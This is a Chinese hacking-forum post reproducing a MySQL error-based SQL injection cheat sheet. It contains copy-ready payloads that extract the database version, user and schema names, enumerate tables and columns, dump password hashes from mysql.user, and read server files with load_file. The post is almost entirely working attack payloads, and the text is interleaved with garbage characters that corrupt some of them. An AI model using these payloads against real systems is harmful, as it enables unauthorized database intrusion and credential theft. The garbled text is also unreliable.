找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2099|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 9 k6 \' M5 F1 d9 I5 ?8 k% `
/ Z, n+ Z0 ?/ g+ w  d8 w
2 H* J; C' g8 H5 S9 w7 A! ]2 b
Mysql暴错注入参考(pdf),每天一贴。。。
' f# `, ^- m9 V) c6 J: |
& X2 y, K. E. A) ~& I( F, ?1 PMySql Error Based Injection Reference
9 k9 u" Y/ ~% z( U& _6 \[Mysql暴错注入参考]
# s+ p& C+ H) I% lAuthornig0s1992% a5 x2 [  ?4 e' |+ ^/ h
Blog:http://pnig0s1992.blog.51cto.com/7 [* d* F( e. {) E
TeAm:http://www.FreeBuf.com/
( ?; d" W5 Q8 e0 A4 c3 O6 K4 `Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
( \4 H2 `' H3 _小部分版本使用name_const()时会报错.可以用给出的Method.2测试5 |5 _7 X5 ~1 i& X# {
查询版本:! ^2 Z2 z  h* K0 {, e: B
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+: O4 M7 v; _  _: ]! D
join+(select+name_const(@@version,0))b)c)
6 A4 W' m' E2 GMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro* `. q4 L6 k6 B
up by a)b)# O. S+ z- |/ N* Q0 `
查询当前用户:
3 L$ M1 G- H4 [, |, a  gMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)( f; W( N" b; Z" w9 K2 l
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r: [6 m+ R3 u' l+ e: J" `
and(0)*2))x+from+information_schema.tables+group+by+x)a); D/ Q, g6 g& t+ f8 `; M: |! ?# L
查询当前数据库:
& ?& x& T* ~8 [# T2 ?# S$ e2 pMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
" ~  `3 j2 q, s# E0 |Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
" K8 b& n3 L: I5 \% J  [or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
% ]4 e+ {% G8 d, O依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
4 O2 D  b0 j# U; c% KLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
! b! q9 S$ Y6 d) }1 p顺序替换
1 I% r- @5 E: w4 i爆指定库数目:+ b# c4 d! e2 V% p$ }6 h
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t. S+ h  v0 O4 T; h/ z1 O" V4 k
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
6 i6 A5 i9 j' ~0 h7 ~; M' [+by+x)a)+and+1=1 0x6D7973716C=mysql. w6 r+ J/ z7 G
依次爆表:, B- |3 q# S) |1 w7 D2 M/ k
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t9 i$ R, x% j5 I) g" Z" K4 b
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
' b) s& [4 Q, v' m1 o4 Pbles+group+by+x)a)+and+1=1
& P3 r4 r9 R; o; g0x6D7973716C=Mysql 将n顺序替换
( t0 ]! D1 ?# i* i& d+ |爆表内字段数目:
& [8 w! \6 ~2 ~, K8 cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
. C( _' C9 H' r' M6 J+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
8 Y) H) ~% B+ r9 k+ H- q, e( }0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=18 |- L: }# Z" y# p4 `* x5 R
依次爆字段:
. L6 q7 z- g* x# c& nand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
  R; @, i- ]' d) _, v$ Q4 T+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
$ l  s0 x- S; W( w, Ploor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
5 d; |: Q: t! b5 l' S8 F依次暴内容:+ k6 D* A! ^$ o8 G0 j  L
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche5 H* M; h8 {; B/ N* r
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=16 t5 t2 u* l1 q  ]
将n顺序替换
. A: v  v2 G. Y4 S7 b+ g% L: `- a2 [爆文件内容:% f7 [; Y8 _0 M! ]
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a" l; t( d* j: o. p1 w6 V
from+information_schema.tables+group+by+a)b) ; c9 c/ i+ h9 q( ~# O
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节0 x" \" r2 B1 H0 T2 a2 p5 X/ k
Thx for reading.* Z+ M. e+ g* r: p+ X: j+ X0 I8 y  V; U
! J  W  Z5 {' f5 N/ H* C
不要下载也可以, 7 ?7 C* S% |  v: g* P7 @

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表